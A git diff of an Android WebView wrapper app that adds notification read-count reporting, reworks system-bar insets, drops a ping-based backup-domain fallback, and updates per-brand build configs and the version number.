boolean willExpand = !messageInfo.isShowAll();
messageInfo.setShowAll(willExpand);
if (willExpand && itemExpandListener != null) {
itemExpandListener.item(messageInfo);
}
notifyItemChanged(position);
});
@@ -167,4 +177,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
void item(int position);
}
public interface onItemExpandListener {
void item(MessageInfo messageInfo);
}
}

View File

@@ -46,18 +46,15 @@ public class NotifyListActivity extends AppCompatActivity {
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
userId = MainActivity.getInt(NotifyListActivity.this,"user_code",userId);
getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
super.onCreate(savedInstanceState);
View decor = getWindow().getDecorView();
getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
actionBar.hide();
}
activityNotifylistBinding = ActivityNotifylistBinding.inflate(getLayoutInflater());
setContentView(activityNotifylistBinding.getRoot());
enableEdgeToEdge(getWindow(), activityNotifylistBinding.getRoot(), true, false);
applySystemBarInsets(getWindow(), activityNotifylistBinding.getRoot(), true, false);
messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message");
activityNotifylistBinding.backIv.setOnClickListener(view -> finish());
manager = new LinearLayoutManager(this);
@@ -85,6 +82,7 @@ public class NotifyListActivity extends AppCompatActivity {
adapter.setOnItemClick(position -> {
try{
MessageInfo messageInfo = listdata.get(position);
recordNotify(messageInfo);
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl()));
startActivity(intent);
}catch (Exception e){
@@ -92,8 +90,44 @@ public class NotifyListActivity extends AppCompatActivity {
}
});
adapter.setOnItemExpand(this::recordNotify);
getNotifyList();
}
/** 小铃铛列表中用户展开通知时,按文档查询详情并异步增加阅读次数。 */
private void recordNotify(MessageInfo messageInfo) {
if (messageInfo == null) {
return;
}
int pushId = messageInfo.getPushId() > 0 ? messageInfo.getPushId() : messageInfo.getRecordId();
if (pushId <= 0) {
return;
}
Api.getInstance().getNotifyDetail(pushId)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<Result<MessageInfo>>() {
@Override
public void onSuccess(Result<MessageInfo> o) {
// 后端采用异步最终一致,详情响应可能仍是加一前的值;稍后刷新列表读取最终值。
if (o != null && o.data != null && o.data.getReadTimes() > messageInfo.getReadTimes()) {
messageInfo.setReadTimes(o.data.getReadTimes());
adapter.notifyDataSetChanged();
}
activityNotifylistBinding.recyclerNofity.postDelayed(() -> getNotifyList(), 1200L);
}
@Override
public void onError(int code, String msg) {
LogUtils.i("阅读次数上报失败 pushId=" + pushId + ", error=" + msg);
}
@Override
public void onError2(Result<MessageInfo> o) {
LogUtils.i("阅读次数上报失败 pushId=" + pushId);
}
});
}
/**
* 启用Edge-to-Edge模式核心方法
*
@@ -102,9 +136,9 @@ public class NotifyListActivity extends AppCompatActivity {
* *
* @param isLightNavigationBar 导航栏文字是否为浅色仅Android O+生效)
*/
public void enableEdgeToEdge(Window window, View rootView,
public void applySystemBarInsets(Window window, View rootView,
boolean isLightStatusBar, boolean isLightNavigationBar) {
WindowCompat.setDecorFitsSystemWindows(window, true);
WindowCompat.setDecorFitsSystemWindows(window, false);
// 3. 直接设置导航栏颜色(兼容所有版本)
window.setNavigationBarColor(Color.TRANSPARENT);
@@ -114,13 +148,17 @@ public class NotifyListActivity extends AppCompatActivity {
// true=浅色文字白色false=深色文字(黑色),根据导航栏颜色调整
insetsController.setAppearanceLightNavigationBars(isLightNavigationBar);
window.getDecorView().setBackgroundColor(Color.WHITE);
ViewCompat.setOnApplyWindowInsetsListener(rootView, (view, insets) -> {
androidx.core.graphics.Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return WindowInsetsCompat.CONSUMED;
});
ViewCompat.requestApplyInsets(rootView);
}
public void getNotifyList() {
//通知列表
Api.getInstance().getNotifyList(userId, page, 10)
Api.getInstance().getNotifyList(userId, page, 10, 0)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<>() {

View File

@@ -1,39 +0,0 @@
package com.webclip.base;
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
* **********************
*
* @Author bug machine
* 创建时间: 2026/1/16 15:30
* 用途
* **********************
*/
public class PingUtils {
/**
* 执行 ping 命令
* @param address 域名或IP
* @return 返回执行结果
*/
public static String ping(String address) {
StringBuilder result = new StringBuilder();
try {
// -c 4 表示执行4次
Process process = Runtime.getRuntime().exec("ping -c 3 " + address);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
reader.close();
process.destroy();
} catch (Exception e) {
result.append("Ping失败: ").append(e.getMessage());
}
return result.toString();
}
}

View File

@@ -26,6 +26,10 @@ import androidx.annotation.Nullable;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.ActionBar;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowCompat;
import androidx.core.view.WindowInsetsCompat;
import androidx.core.view.WindowInsetsControllerCompat;
import com.king.app.updater.AppUpdater;
import com.webclip.base.databinding.ActivityMain2Binding;
@@ -51,23 +55,37 @@ public class WebViewActivity extends AppCompatActivity {
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
getWindow().setNavigationBarColor(getColor(R.color.white));
getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
super.onCreate(savedInstanceState);
View decor = getWindow().getDecorView();
getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
actionBar.hide();
}
activityMain2Binding = ActivityMain2Binding.inflate(getLayoutInflater());
setContentView(activityMain2Binding.getRoot());
applySystemBarInsets();
activityMain2Binding.backIv.setOnClickListener(view -> finish());
url = getIntent().getStringExtra("url");
initView();
}
private void applySystemBarInsets() {
getWindow().clearFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
WindowCompat.setDecorFitsSystemWindows(getWindow(), false);
WindowInsetsControllerCompat controller = WindowCompat.getInsetsController(getWindow(), getWindow().getDecorView());
controller.setAppearanceLightStatusBars(true);
controller.setAppearanceLightNavigationBars(true);
controller.show(WindowInsetsCompat.Type.statusBars() | WindowInsetsCompat.Type.navigationBars());
View root = activityMain2Binding.getRoot();
ViewCompat.setOnApplyWindowInsetsListener(root, (view, insets) -> {
androidx.core.graphics.Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return WindowInsetsCompat.CONSUMED;
});
ViewCompat.requestApplyInsets(root);
}
private ValueCallback<Uri[]> mUploadCallbackForHighApi;
public void initView() {

View File

@@ -51,10 +51,11 @@
<string name="app_toastloading">暂无更多数据</string>
<string name="app_notify_title">通知</string>
<string name="agentweb_loading">Loading…</string>
<string name="site_url_unavailable">无法获取站点地址,请稍后重试</string>
<string name="text_title">文本</string>
<string name="image_title">图片</string>
<string name="link_title">链接</string>
</resources>
</resources>

View File

@@ -38,13 +38,6 @@ public interface ApiService {
@PUT("api/statistics/use")
Observable<Result> totalTongJi(@Body Map<String, Object> map);
/**
* 统计通知
*/
@POST("api/push/statistics")
Observable<Result> totalNotify(@Body Map<String, Object> map);
/**
* 获取通知列表
* @param userid
@@ -53,7 +46,18 @@ public interface ApiService {
* @return
*/
@GET("api/push/pushRecords")
Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size);
Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(
@Query("userId") int userid,
@Query("page") int page,
@Query("size") int size,
@Query("isScheduler") int isScheduler
);
/**
* 获取通知详情。查询成功后,后端会异步将该通知的阅读次数加一。
*/
@GET("api/push/client/pushRecord/{id}")
Observable<Result<MessageInfo>> getNotifyDetail(@Path("id") int pushId);
}

View File

@@ -17,16 +17,6 @@ public class DataInfo implements Serializable {
public String tgUrl; // tg分享地址
public String wsUrl; //whatsapp分享地址
public String linkConfig;
public String backupDomains;
public String getBackupDomains() {
return backupDomains;
}
public void setBackupDomains(String backupDomains) {
this.backupDomains = backupDomains;
}
public String getLinkConfig() {
return linkConfig;
}

View File

@@ -95,24 +95,15 @@ public class MainActivity extends AppCompatActivity {
if (styleColor != 0) {
getWindow().setNavigationBarColor(styleColor);
}
getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
super.onCreate(savedInstanceState);
View decor = getWindow().getDecorView();
getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
if (isWhite) {
decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
} else {
decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
}
ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
actionBar.hide();
}
activityMain2Binding = ActivityMain2Binding.inflate(getLayoutInflater());
setContentView(activityMain2Binding.getRoot());
if (Build.VERSION.SDK_INT > Build.VERSION_CODES.S) {
enableEdgeToEdge(getWindow(), activityMain2Binding.getRoot());
}
applySystemBarInsets(getWindow(), activityMain2Binding.getRoot());
String body = getIntent().getStringExtra("message");
if (!TextUtils.isEmpty(body)) {
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
@@ -328,18 +319,31 @@ public class MainActivity extends AppCompatActivity {
}
}
public void enableEdgeToEdge(Window window, View rootView) {
WindowCompat.setDecorFitsSystemWindows(window, true);
/** Keeps WebView content out of status/navigation bar areas on every Android version. */
public void applySystemBarInsets(Window window, View rootView) {
window.clearFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
WindowCompat.setDecorFitsSystemWindows(window, false);
if (windowsColor != 0) {
rootView.setBackgroundColor(windowsColor);
window.setStatusBarColor(windowsColor);
}
window.setNavigationBarColor(styleColor);
WindowInsetsControllerCompat insetsController = WindowCompat.getInsetsController(window, window.getDecorView());
insetsController.setAppearanceLightStatusBars(!isWhite);
insetsController.setAppearanceLightNavigationBars(isWhite);
boolean useDarkSystemIcons = isLightColor(windowsColor);
insetsController.setAppearanceLightStatusBars(useDarkSystemIcons);
insetsController.setAppearanceLightNavigationBars(useDarkSystemIcons);
insetsController.show(WindowInsetsCompat.Type.statusBars() | WindowInsetsCompat.Type.navigationBars());
ViewCompat.setOnApplyWindowInsetsListener(rootView, (view, windowInsets) -> {
WindowInsetsCompat systemInsets = windowInsets;
view.setPadding(0, systemInsets.getStableInsetTop(), 0, systemInsets.getStableInsetBottom() // 底部内边距设为0由占位View填充
);
androidx.core.graphics.Insets systemBars = windowInsets.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return WindowInsetsCompat.CONSUMED;
});
ViewCompat.requestApplyInsets(rootView);
}
private static boolean isLightColor(int color) {
double luminance = (0.299 * Color.red(color) + 0.587 * Color.green(color) + 0.114 * Color.blue(color)) / 255d;
return luminance > 0.6d;
}
private void toLink() {
@@ -543,7 +547,7 @@ public class MainActivity extends AppCompatActivity {
public void getNotifyList() {
Api.getInstance().getNotifyList(userId, 1, 1)
Api.getInstance().getNotifyList(userId, 1, 1, 0)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<>() {
@@ -594,17 +598,16 @@ public class MainActivity extends AppCompatActivity {
@Override
public void onSuccess(Result<DataInfo> o) {
DataInfo dataInfo = o.data;
DataInfo dataInfo = o == null ? null : o.data;
if (dataInfo != null) {
if (dataInfo.getIsUse() == 0) {
MainActivity.this.finish();
return;
}
if (!TextUtils.isEmpty(dataInfo.getUrl())) {
saveString(MainActivity.this, "base_url", dataInfo.getUrl());
toLoadWebUrl(dataInfo);
} else {
showSiteUrlError();
}
String link = dataInfo.getLinkConfig();
@@ -682,8 +685,7 @@ public class MainActivity extends AppCompatActivity {
activityMain2Binding.layoutOtherapp.setVisibility(View.GONE);
}
} else {
url = getString(MainActivity.this, "base_url", url);
activityMain2Binding.webview.loadUrl(url);
showSiteUrlError();
}
@@ -691,60 +693,25 @@ public class MainActivity extends AppCompatActivity {
@Override
public void onError(int code, String msg) {
url = getString(MainActivity.this, "base_url", url);
activityMain2Binding.webview.loadUrl(url);
showSiteUrlError();
}
@Override
public void onError2(Result<DataInfo> o) {
url = getString(MainActivity.this, "base_url", url);
activityMain2Binding.webview.loadUrl(url);
showSiteUrlError();
}
});
}
private void toLoadWebUrl(DataInfo dataInfo) {
if (TextUtils.isEmpty(dataInfo.getBackupDomains())) {
activityMain2Binding.webview.loadUrl(dataInfo.getUrl());
} else {
//拼接主域名和备用域名的数组
urlList = new ArrayList<>();
urlList.add(dataInfo.getUrl());
String[] urls = dataInfo.getBackupDomains().split(",");
if (urls != null && urls.length > 0) {
for (int i = 0; i < urls.length; i++) {
urlList.add(urls[i]);
}
}
LogUtils.i("地址是啥:" + GsonUtils.beanToJSONString(urlList));
checkUrl(0);
}
url = dataInfo.getUrl();
activityMain2Binding.webview.loadUrl(url);
}
private ArrayList<String> urlList = new ArrayList<>();
int lastCheckIndex = 0;
private void checkUrl(int index) {
lastCheckIndex = index;
Uri uri = Uri.parse(urlList.get(lastCheckIndex));
new Thread(() -> {
String result = PingUtils.ping(uri.getHost());
runOnUiThread(() -> {
if (TextUtils.isEmpty(result)) {
if (lastCheckIndex != urlList.size() - 1) {
checkUrl(lastCheckIndex + 1);
} else {
activityMain2Binding.webview.loadUrl(urlList.get(0));
}
} else {
activityMain2Binding.webview.loadUrl(urlList.get(lastCheckIndex));
}
});
}).start();
private void showSiteUrlError() {
activityMain2Binding.progressError.setVisibility(View.GONE);
onShowErrorView(getString(R.string.site_url_unavailable));
}
private void checkUpdate(String url) {
@@ -810,14 +777,15 @@ public class MainActivity extends AppCompatActivity {
}
public void recordNotify(int pushId) {
HashMap<String, Object> map = new HashMap<>();
map.put("pushId", pushId);
Api.getInstance().totalNotify(map)
if (pushId <= 0) {
return;
}
Api.getInstance().getNotifyDetail(pushId)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<>() {
.subscribe(new BaseObserver<Result<MessageInfo>>() {
@Override
public void onSuccess(Result o) {
public void onSuccess(Result<MessageInfo> o) {
}
@@ -826,7 +794,7 @@ public class MainActivity extends AppCompatActivity {
}
@Override
public void onError2(Result o) {
public void onError2(Result<MessageInfo> o) {
}
});
@@ -893,13 +861,9 @@ public class MainActivity extends AppCompatActivity {
public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
super.onReceivedError(view, request, error);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
int errorCode = error.getErrorCode();
String errorMessage = error.getDescription().toString();
String currentUrl = request.getUrl().toString();
if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) {
if (request.isForMainFrame()) {
onShowErrorView(errorMessage);
} else {
onShowNetView();
}
}
activityMain2Binding.progressbar.setVisibility(View.GONE);
@@ -914,10 +878,8 @@ public class MainActivity extends AppCompatActivity {
public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
super.onReceivedError(view, errorCode, description, failingUrl);
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) {
if (isMainPageUrl(failingUrl)) {
onShowErrorView(description);
} else {
onShowNetView();
}
}
activityMain2Binding.progressbar.setVisibility(View.GONE);
@@ -1029,6 +991,12 @@ public class MainActivity extends AppCompatActivity {
}
};
private boolean isMainPageUrl(String targetUrl) {
return TextUtils.equals(targetUrl, url)
|| TextUtils.equals(targetUrl, url + "index")
|| TextUtils.equals(targetUrl, url + "/index");
}
private boolean isToOutSideUrl(String url1) {
return url1.contains("facebook") || url1.contains("https://t.me") ||
url1.contains("instagram") || url1.contains("https://x.com") || url1.contains("https://wa.me") ||

View File

@@ -10,6 +10,8 @@ public class MessageInfo implements Serializable {
private int pushId;
private String createTime;
private int recordId;
private long receiveTimes;
private long readTimes;
public int status;
private String jumpUrl;
private boolean isShowAll = false;
@@ -30,6 +32,22 @@ public class MessageInfo implements Serializable {
this.recordId = recordId;
}
public long getReceiveTimes() {
return receiveTimes;
}
public void setReceiveTimes(long receiveTimes) {
this.receiveTimes = receiveTimes;
}
public long getReadTimes() {
return readTimes;
}
public void setReadTimes(long readTimes) {
this.readTimes = readTimes;
}
public int getStatus() {
return status;
}

View File

@@ -29,6 +29,7 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
private List<MessageInfo> listdata;
private onItemClickPostionListener itemClickPostionListener;
private onItemExpandListener itemExpandListener;
private Context context;
private MessageInfo messageItem;
@@ -49,6 +50,10 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
this.itemClickPostionListener = onItemClick;
}
public void setOnItemExpand(onItemExpandListener onItemExpand) {
this.itemExpandListener = onItemExpand;
}
@NonNull
@Override
public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
@@ -103,7 +108,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
holder.itemNotifyListBinding.tvMsgTime.setText(messageInfo.getCreateTime());
holder.itemNotifyListBinding.ivNotifyjumpclick.setVisibility(View.GONE);
holder.itemNotifyListBinding.lookIv.setText(longTime(messageInfo.getCreateTime()));
// 左下角眼睛图标显示后端返回的真实阅读次数
holder.itemNotifyListBinding.lookIv.setText(String.valueOf(messageInfo.getReadTimes()));
if (!TextUtils.isEmpty(messageInfo.getImage())) {
LogUtils.i("地址是啥:"+messageInfo.getImage());
holder.itemNotifyListBinding.ivNotifyimage.setVisibility(View.VISIBLE);
@@ -126,7 +132,11 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
holder.itemNotifyListBinding.layoutMore.setVisibility(View.GONE);
}
holder.itemView.setOnClickListener(view -> {
messageInfo.setShowAll(!messageInfo.isShowAll());
boolean willExpand = !messageInfo.isShowAll();
messageInfo.setShowAll(willExpand);
if (willExpand && itemExpandListener != null) {
itemExpandListener.item(messageInfo);
}
notifyItemChanged(position);
});
@@ -167,4 +177,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
void item(int position);
}
public interface onItemExpandListener {
void item(MessageInfo messageInfo);
}
}

View File

@@ -46,18 +46,15 @@ public class NotifyListActivity extends AppCompatActivity {
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
userId = MainActivity.getInt(NotifyListActivity.this,"user_code",userId);
getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
super.onCreate(savedInstanceState);
View decor = getWindow().getDecorView();
getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
actionBar.hide();
}
activityNotifylistBinding = ActivityNotifylistBinding.inflate(getLayoutInflater());
setContentView(activityNotifylistBinding.getRoot());
enableEdgeToEdge(getWindow(), activityNotifylistBinding.getRoot(), true, false);
applySystemBarInsets(getWindow(), activityNotifylistBinding.getRoot(), true, false);
messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message");
activityNotifylistBinding.backIv.setOnClickListener(view -> finish());
manager = new LinearLayoutManager(this);
@@ -85,6 +82,7 @@ public class NotifyListActivity extends AppCompatActivity {
adapter.setOnItemClick(position -> {
try{
MessageInfo messageInfo = listdata.get(position);
recordNotify(messageInfo);
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl()));
startActivity(intent);
}catch (Exception e){
@@ -92,8 +90,44 @@ public class NotifyListActivity extends AppCompatActivity {
}
});
adapter.setOnItemExpand(this::recordNotify);
getNotifyList();
}
/** 小铃铛列表中用户展开通知时,按文档查询详情并异步增加阅读次数。 */
private void recordNotify(MessageInfo messageInfo) {
if (messageInfo == null) {
return;
}
int pushId = messageInfo.getPushId() > 0 ? messageInfo.getPushId() : messageInfo.getRecordId();
if (pushId <= 0) {
return;
}
Api.getInstance().getNotifyDetail(pushId)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<Result<MessageInfo>>() {
@Override
public void onSuccess(Result<MessageInfo> o) {
// 后端采用异步最终一致,详情响应可能仍是加一前的值;稍后刷新列表读取最终值。
if (o != null && o.data != null && o.data.getReadTimes() > messageInfo.getReadTimes()) {
messageInfo.setReadTimes(o.data.getReadTimes());
adapter.notifyDataSetChanged();
}
activityNotifylistBinding.recyclerNofity.postDelayed(() -> getNotifyList(), 1200L);
}
@Override
public void onError(int code, String msg) {
LogUtils.i("阅读次数上报失败 pushId=" + pushId + ", error=" + msg);
}
@Override
public void onError2(Result<MessageInfo> o) {
LogUtils.i("阅读次数上报失败 pushId=" + pushId);
}
});
}
/**
* 启用Edge-to-Edge模式核心方法
*
@@ -102,9 +136,9 @@ public class NotifyListActivity extends AppCompatActivity {
* *
* @param isLightNavigationBar 导航栏文字是否为浅色仅Android O+生效)
*/
public void enableEdgeToEdge(Window window, View rootView,
public void applySystemBarInsets(Window window, View rootView,
boolean isLightStatusBar, boolean isLightNavigationBar) {
WindowCompat.setDecorFitsSystemWindows(window, true);
WindowCompat.setDecorFitsSystemWindows(window, false);
// 3. 直接设置导航栏颜色(兼容所有版本)
window.setNavigationBarColor(Color.TRANSPARENT);
@@ -114,13 +148,17 @@ public class NotifyListActivity extends AppCompatActivity {
// true=浅色文字白色false=深色文字(黑色),根据导航栏颜色调整
insetsController.setAppearanceLightNavigationBars(isLightNavigationBar);
window.getDecorView().setBackgroundColor(Color.WHITE);
ViewCompat.setOnApplyWindowInsetsListener(rootView, (view, insets) -> {
androidx.core.graphics.Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return WindowInsetsCompat.CONSUMED;
});
ViewCompat.requestApplyInsets(rootView);
}
public void getNotifyList() {
//通知列表
Api.getInstance().getNotifyList(userId, page, 10)
Api.getInstance().getNotifyList(userId, page, 10, 0)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<>() {

View File

@@ -1,39 +0,0 @@
package com.webclip.base;
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
* **********************
*
* @Author bug machine
* 创建时间: 2026/1/16 15:30
* 用途
* **********************
*/
public class PingUtils {
/**
* 执行 ping 命令
* @param address 域名或IP
* @return 返回执行结果
*/
public static String ping(String address) {
StringBuilder result = new StringBuilder();
try {
// -c 4 表示执行4次
Process process = Runtime.getRuntime().exec("ping -c 3 " + address);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
reader.close();
process.destroy();
} catch (Exception e) {
result.append("Ping失败: ").append(e.getMessage());
}
return result.toString();
}
}

View File

@@ -21,6 +21,10 @@ import androidx.annotation.Nullable;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.ActionBar;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowCompat;
import androidx.core.view.WindowInsetsCompat;
import androidx.core.view.WindowInsetsControllerCompat;
import com.webclip.base.databinding.ActivityMain2Binding;
@@ -32,23 +36,37 @@ public class WebViewActivity extends AppCompatActivity {
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
getWindow().setNavigationBarColor(getColor(R.color.white));
getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
super.onCreate(savedInstanceState);
View decor = getWindow().getDecorView();
getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
actionBar.hide();
}
activityMain2Binding = ActivityMain2Binding.inflate(getLayoutInflater());
setContentView(activityMain2Binding.getRoot());
applySystemBarInsets();
activityMain2Binding.backIv.setOnClickListener(view -> finish());
url = getIntent().getStringExtra("url");
initView();
}
private void applySystemBarInsets() {
getWindow().clearFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
WindowCompat.setDecorFitsSystemWindows(getWindow(), false);
WindowInsetsControllerCompat controller = WindowCompat.getInsetsController(getWindow(), getWindow().getDecorView());
controller.setAppearanceLightStatusBars(true);
controller.setAppearanceLightNavigationBars(true);
controller.show(WindowInsetsCompat.Type.statusBars() | WindowInsetsCompat.Type.navigationBars());
View root = activityMain2Binding.getRoot();
ViewCompat.setOnApplyWindowInsetsListener(root, (view, insets) -> {
androidx.core.graphics.Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return WindowInsetsCompat.CONSUMED;
});
ViewCompat.requestApplyInsets(root);
}
private ValueCallback<Uri[]> mUploadCallbackForHighApi;
public void initView() {

View File

@@ -51,10 +51,11 @@
<string name="app_toastloading">暂无更多数据</string>
<string name="app_notify_title">通知</string>
<string name="agentweb_loading">Loading…</string>
<string name="site_url_unavailable">无法获取站点地址,请稍后重试</string>
<string name="text_title">文本</string>
<string name="image_title">图片</string>
<string name="link_title">链接</string>
</resources>
</resources>

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'BB5AU')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "207"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'BE9AU')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "148"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', 'BNG1AU')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://bng1au.co/\""
//后台唯一ID
buildConfigField "int", "USERID", "258"
//状态栏文字颜色是否为白色

View File

@@ -67,7 +67,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'BNG33')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "282"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -10,8 +10,8 @@ plugins {
ext {
outputPath = "${project.rootDir}/apks"
versionCode = 128
versionName = "v1.2.8"
versionCode = 150
versionName = "v1.5.0"
namespace = "com.webclip.base"
JAVA_VERSION = JavaVersion.VERSION_17
}

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'Cosmojack')
buildConfigField "String", "BASE_URL", "\"https://cosmojack.app/\""
buildConfigField "int", "USERID", "261"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
